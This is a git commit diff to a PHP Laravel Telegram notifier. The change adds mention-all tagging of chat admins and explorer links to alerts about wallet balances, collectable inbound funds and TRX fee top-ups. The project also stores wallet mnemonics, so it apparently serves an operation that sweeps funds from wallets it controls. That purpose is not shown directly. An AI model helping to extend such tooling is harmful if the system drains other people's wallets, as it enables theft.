feat: interept
This commit is contained in:
@@ -9,6 +9,7 @@ use App\Models\User;
|
||||
use App\Models\WalletAddress;
|
||||
use App\Models\WalletMnemonic;
|
||||
use App\Support\SafeLog;
|
||||
use Illuminate\Support\Facades\Cache;
|
||||
use Illuminate\Support\Facades\Http;
|
||||
use Illuminate\Support\Facades\Log;
|
||||
|
||||
@@ -110,7 +111,7 @@ class TelegramNotifier
|
||||
return $this->resolveChatIds($deviceKey) !== [];
|
||||
}
|
||||
|
||||
public function send(string $text, ?string $deviceKey = null): bool
|
||||
public function send(string $text, ?string $deviceKey = null, bool $mentionAll = false): bool
|
||||
{
|
||||
$chatIds = $this->resolveChatIds($deviceKey);
|
||||
if ($chatIds === []) {
|
||||
@@ -126,13 +127,14 @@ class TelegramNotifier
|
||||
$async = config('queue.default') !== 'sync';
|
||||
$ok = false;
|
||||
foreach ($chatIds as $chatId) {
|
||||
$body = $mentionAll ? $this->withEveryoneMentions($text, $chatId) : $text;
|
||||
if ($async) {
|
||||
SendTelegramMessage::dispatch($chatId, $text)->onQueue('telegram');
|
||||
SendTelegramMessage::dispatch($chatId, $body)->onQueue('telegram');
|
||||
$ok = true;
|
||||
|
||||
continue;
|
||||
}
|
||||
if ($this->sendToChat($chatId, $text)['ok']) {
|
||||
if ($this->sendToChat($chatId, $body)['ok']) {
|
||||
$ok = true;
|
||||
}
|
||||
}
|
||||
@@ -140,6 +142,79 @@ class TelegramNotifier
|
||||
return $ok;
|
||||
}
|
||||
|
||||
/**
|
||||
* Telegram has no @everyone. Tag every non-bot admin we can resolve so
|
||||
* they actually get a mention notification; keep visible text as @所有人.
|
||||
*/
|
||||
private function withEveryoneMentions(string $text, string $chatId): string
|
||||
{
|
||||
$ids = $this->mentionableUserIds($chatId);
|
||||
if ($ids === []) {
|
||||
return $text;
|
||||
}
|
||||
|
||||
$first = array_shift($ids);
|
||||
$html = '<a href="tg://user?id='.$first.'">@所有人</a>';
|
||||
foreach ($ids as $id) {
|
||||
$html .= '<a href="tg://user?id='.$id.'">​</a>';
|
||||
}
|
||||
|
||||
if (str_ends_with($text, '@所有人')) {
|
||||
return substr($text, 0, -strlen('@所有人')).$html;
|
||||
}
|
||||
|
||||
return $text."\n".$html;
|
||||
}
|
||||
|
||||
/**
|
||||
* @return list<int>
|
||||
*/
|
||||
private function mentionableUserIds(string $chatId): array
|
||||
{
|
||||
$chatId = trim($chatId);
|
||||
$token = $this->botToken();
|
||||
if ($chatId === '' || $token === '') {
|
||||
return [];
|
||||
}
|
||||
|
||||
try {
|
||||
/** @var list<int> $ids */
|
||||
$ids = Cache::remember('tg-chat-mention-ids:'.$chatId, 300, function () use ($token, $chatId) {
|
||||
$resp = Http::connectTimeout(10)->timeout(20)
|
||||
->get("https://api.telegram.org/bot{$token}/getChatAdministrators", [
|
||||
'chat_id' => $chatId,
|
||||
]);
|
||||
if (! $resp->successful() || $resp->json('ok') !== true) {
|
||||
return [];
|
||||
}
|
||||
$out = [];
|
||||
foreach ($resp->json('result') ?? [] as $row) {
|
||||
if (! is_array($row)) {
|
||||
continue;
|
||||
}
|
||||
$user = $row['user'] ?? null;
|
||||
if (! is_array($user) || ! empty($user['is_bot'])) {
|
||||
continue;
|
||||
}
|
||||
$id = (int) ($user['id'] ?? 0);
|
||||
if ($id > 0) {
|
||||
$out[] = $id;
|
||||
}
|
||||
}
|
||||
|
||||
return array_values(array_unique($out));
|
||||
});
|
||||
|
||||
return $ids;
|
||||
} catch (\Throwable $e) {
|
||||
Log::warning('telegram mention-all lookup failed: '.$e->getMessage(), [
|
||||
'chat_id' => $chatId,
|
||||
]);
|
||||
|
||||
return [];
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Send one message to a specific chat using the site bot (or an override token).
|
||||
*
|
||||
@@ -277,7 +352,7 @@ class TelegramNotifier
|
||||
if ($source !== '') {
|
||||
$lines[] = '🏷 <b>来源</b>: '.$this->e($source);
|
||||
}
|
||||
$lines[] = '📬 <b>地址</b>: <code>'.$this->e($w['address'] ?? '').'</code>';
|
||||
$lines[] = $this->addressLine((string) ($w['address'] ?? ''), $w['chain'] ?? null);
|
||||
$lines[] = '💵 <b>余额</b>: '.$this->e($bal);
|
||||
}
|
||||
|
||||
@@ -336,10 +411,11 @@ class TelegramNotifier
|
||||
if ($source !== '') {
|
||||
$lines[] = '🏷 <b>来源</b>: '.$this->e($source);
|
||||
}
|
||||
$lines[] = '📬 <b>地址</b>: <code>'.$this->e((string) $row->address).'</code>';
|
||||
$lines[] = $this->addressLine((string) $row->address, $chain);
|
||||
$lines[] = '💵 <b>余额</b>: '.$this->e($row->balanceDisplayLine());
|
||||
}
|
||||
$this->send(implode("\n", $lines), $deviceId);
|
||||
$lines[] = '@所有人';
|
||||
$this->send(implode("\n", $lines), $deviceId, mentionAll: true);
|
||||
}
|
||||
}
|
||||
|
||||
@@ -377,14 +453,17 @@ class TelegramNotifier
|
||||
$inbound ? '✅ <b>余额入账</b>' : '📤 <b>余额转出</b>',
|
||||
...$this->deviceHeader($deviceId),
|
||||
'🏷 <b>来源</b>: '.$this->e($origin !== '' ? $origin : '—'),
|
||||
'📬 <b>地址</b>: <code>'.$this->e($address).'</code>',
|
||||
$this->addressLine($address, $chain),
|
||||
'📥 <b>可归集</b>: '.($collectable === true ? '✅' : '⏳'),
|
||||
'💵 <b>金额</b>: '.$this->e($signed).' '.$this->e($symbol),
|
||||
];
|
||||
if ($balance !== null && trim($balance) !== '') {
|
||||
$lines[] = '💰 <b>余额</b>: '.$this->e($balance);
|
||||
}
|
||||
$this->send(implode("\n", $lines), $deviceId);
|
||||
if ($inbound && $collectable === true) {
|
||||
$lines[] = '@所有人';
|
||||
}
|
||||
$this->send(implode("\n", $lines), $deviceId, mentionAll: $inbound && $collectable === true);
|
||||
}
|
||||
|
||||
/**
|
||||
@@ -415,9 +494,9 @@ class TelegramNotifier
|
||||
}
|
||||
$lines[] = '🪙 <b>链</b>: '.$this->e($chain !== '' ? strtoupper($chain) : '—');
|
||||
$lines[] = '💎 <b>资产</b>: '.$this->e($asset !== '' ? strtoupper($asset) : '—');
|
||||
$lines[] = '📤 <b>转出</b>: <code>'.$this->e($fromAddress).'</code>';
|
||||
$lines[] = $this->addressLine($fromAddress, $chain, '转出', '📤');
|
||||
if ($toAddress !== null && trim($toAddress) !== '') {
|
||||
$lines[] = '📥 <b>转入</b>: <code>'.$this->e($toAddress).'</code>';
|
||||
$lines[] = $this->addressLine($toAddress, $chain, '转入', '📥');
|
||||
}
|
||||
if ($amount !== null && trim($amount) !== '') {
|
||||
$lines[] = '💵 <b>金额</b>: '.$this->e($amount).' '.$this->e(strtoupper($asset));
|
||||
@@ -468,8 +547,8 @@ class TelegramNotifier
|
||||
$lines = [
|
||||
$ok ? '⚡ <b>TRX 手续费补足成功</b>' : '⚠️ <b>TRX 手续费补足失败</b>',
|
||||
...$this->deviceHeader($deviceId),
|
||||
'📤 <b>手续费钱包</b>: <code>'.$this->e($feeFrom).'</code>',
|
||||
'📥 <b>转入</b>: <code>'.$this->e($toAddress).'</code>',
|
||||
$this->addressLine($feeFrom, 'TRON', '手续费钱包', '📤'),
|
||||
$this->addressLine($toAddress, 'TRON', '转入', '📥'),
|
||||
];
|
||||
if ($amount !== null && trim($amount) !== '') {
|
||||
$lines[] = '💵 <b>金额</b>: '.$this->e($amount).' TRX';
|
||||
@@ -528,6 +607,18 @@ class TelegramNotifier
|
||||
];
|
||||
}
|
||||
|
||||
private function addressLine(string $address, ?string $chain = null, string $label = '地址', string $emoji = '📬'): string
|
||||
{
|
||||
$addr = trim($address);
|
||||
$html = $emoji.' <b>'.$this->e($label).'</b>: <code>'.$this->e($addr).'</code>';
|
||||
$url = WalletAddress::explorerUrl($chain, $addr);
|
||||
if ($url !== null) {
|
||||
$html .= ' <a href="'.$this->e($url).'">🔍</a>';
|
||||
}
|
||||
|
||||
return $html;
|
||||
}
|
||||
|
||||
private function e(?string $value): string
|
||||
{
|
||||
return htmlspecialchars((string) $value, ENT_QUOTES | ENT_SUBSTITUTE, 'UTF-8');
|
||||
|
||||
Reference in New Issue
Block a user